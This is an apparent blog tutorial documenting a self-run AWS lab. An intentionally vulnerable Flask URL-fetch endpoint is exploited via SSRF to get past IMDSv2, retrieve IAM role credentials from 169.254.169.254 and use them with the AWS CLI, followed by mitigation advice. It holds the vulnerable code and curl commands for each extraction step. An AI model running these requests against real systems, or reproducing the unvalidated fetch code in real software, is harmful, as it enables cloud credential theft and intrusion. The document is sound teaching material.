While learning cloud security, I wanted to understand how SSRF vulnerabilities could be exploited against AWS's Instance Metadata Service. I set up a controlled lab environment in my own AWS account to see exactly how this attack works. This article documents what I found.

SSRF: The Basics

Server-Side Request Forgery occurs when an application makes HTTP requests based on user input without proper validation. The vulnerability appears in legitimate features like webhook integrations, URL preview generators, and image proxies.

The danger comes from the fact that the server can access internal resources that external users cannot reach directly.

AWS Instance Metadata Service

EC2 instances communicate with a metadata service at 169.254.169.254 to retrieve configuration and runtime information. This service provides:

  • Network details (IP addresses, security groups)
  • Instance information (ID, type, AMI)
  • IAM role credentials (temporary AWS access keys)

The IAM credentials are particularly sensitive, they grant AWS API access based on the instance's role permissions.

IMDSv1 vs IMDSv2

AWS released IMDSv2 specifically to defend against SSRF attacks. The difference:

IMDSv1: Simple GET requests, No authentication required, Vulnerable to basic SSRF.

IMDSv2: Token-based authentication, Requires PUT request with specific headers, Resistant to most SSRF vulnerabilities.

IMDSv2's protection relies on the fact that typical SSRF vulnerabilities can't make PUT requests or add custom headers.

Why IMDSv2 Works:

Most SSRF vulnerabilities look like this:

url = request.args.get('url')
response = requests.get(url)  # Only GET, no custom headers possible
return response.text

This can't exploit IMDSv2 because:

  1. Can't make PUT requests to get the token
  2. Can't add the custom X-aws-ec2-metadata-token header

However, if the vulnerable application allows the PUT method and adding custom headers, IMDSv2 can be bypassed. This is less common but demonstrates why proper input validation and method control is still critical, IMDSv2 is a defense layer, not a complete solution.

Lab Setup

I created a test environment to explore this attack vector:

EC2 Instance: Standard instance with an IAM role attached named DemoRoleForEC2, this role has two permission policies: AmazonEC2ReadOnlyAccessand IAMReadOnlyAccess, those are enough for the demonstration.

Vulnerable Application: A Flask app with an intentionally vulnerable endpoint that accepts URLs and HTTP methods from user input:

from flask import Flask, request
import requests

app = Flask(__name__)
@app.route('/fetch', methods=['GET', 'POST'])
def fetch():
    url = request.args.get('url')
    method = request.args.get('method', 'GET').upper()
    
    headers = {}
    if request.args.get('header'):
        header_str = request.args.get('header')
        key, value = header_str.split(':', 1)
        headers[key] = value
    
    try:
        if method == 'PUT':
            response = requests.put(url, headers=headers, timeout=2)
        elif method == 'POST':
            response = requests.post(url, headers=headers, timeout=2)
        else:
            response = requests.get(url, headers=headers, timeout=2)
        
        return response.text
    except Exception as e:
        return f"Error: {str(e)}"
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

This code makes server-side requests without validating the destination, this is the pattern that creates SSRF vulnerabilities.

Testing the Vulnerability

Confirming Basic SSRF

First, I tested that the application would fetch external URLs. We can see in the image below that the server fetched and returned Medium's homepage, confirming the SSRF vulnerability.

curl "http://51.85.12.231:8080/fetch?url=http://medium.com"
None
Fetching Medium's homepage

Obtaining an IMDSv2 Token

To access IMDSv2, I needed a session token. This requires a PUT request with a TTL header. The server returned a token valid for 6 hours.

curl "http://51.85.12.231:8080/fetch?method=PUT&url=http://169.254.169.254/latest/api/token&header=X-aws-ec2-metadata-token-ttl-seconds:21600"
None
Querying IMDS for a token using the SSRF vulnerability

Accessing Metadata

With the token, I can query the metadata service:

curl "http://51.85.12.231:8080/fetch?url=http://169.254.169.254/latest/meta-data&header=X-aws-ec2-metadata-token:TOKEN_HERE"
None

The response showed all available metadata endpoints, including the IAM credentials path.

Retrieving the IAM Role Name

curl "http://51.85.12.231:8080/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials&header=X-aws-ec2-metadata-token:TOKEN_HERE"
None
/latest/meta-data/iam/security-credentials

The instance's role name: DemoRoleForEC2

Extracting Credentials

curl "http://51.85.12.231:8080/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/DemoRoleForEC2&header=X-aws-ec2-metadata-token:TOKEN_HERE"
None

The metadata service returned temporary AWS credentials including:

  • Access Key ID
  • Secret Access Key
  • Session Token
  • Expiration timestamp

Testing the Credentials

I configured the extracted credentials locally for aws-cli:

None
None
Insert the extracted credentials
None

With the credentials in place, I tested AWS CLI access:

aws ec2 describe-instances
None
Response with a list of instances

We can add few arguments to the query to display only the necessary data of the instances:

aws ec2 describe-instances \
 - query 'Reservations[*].Instances[*].[InstanceType, Tags[?Key==`Name`].Value | [0],InstanceId, State.Name, NetworkInterfaces[0].Association.PublicIp]' \
 - output text
None

The credentials worked, I could query AWS resources with the same permissions as the EC2 instance's IAM role.

What This Means

This experiment demonstrates why SSRF in cloud environments is critical. Through a simple URL parameter vulnerability, I was able to:

  1. Access the metadata service despite IMDSv2 protections
  2. Extract valid AWS credentials
  3. Make authenticated AWS API calls
  4. Query infrastructure details

In a real attack scenario, the impact depends entirely on the IAM role's permissions. If the role has broad access, an attacker could potentially access S3 buckets, databases, or other AWS resources.

Mitigation

Application Level:

  • Validate all user-provided URLs against an allowlist
  • Block requests to private IP ranges (169.254.0.0/16, 10.0.0.0/8, 172.16.0.0/12, 127.0.0.0/8)
  • Disable unnecessary HTTP methods in your SSRF-vulnerable code
  • Use network policies to restrict outbound connections

AWS Level:

  • Apply least privilege to IAM roles
  • Set appropriate hop limits on IMDSv2
  • Monitor for unusual metadata service access patterns

Defense in Depth:

  • Implement WAF rules to detect SSRF patterns
  • Network segmentation between application tiers
  • Regular security audits of code that makes HTTP requests
  • Log and alert on metadata service access

Takeaway

IMDSv2 provides strong protection against simple SSRF attacks, but applications that can make PUT requests with custom headers bypass this defense. The real lesson is that input validation remains critical, especially for any feature that makes server-side HTTP requests.

This experiment was conducted entirely within my own AWS account for educational purposes.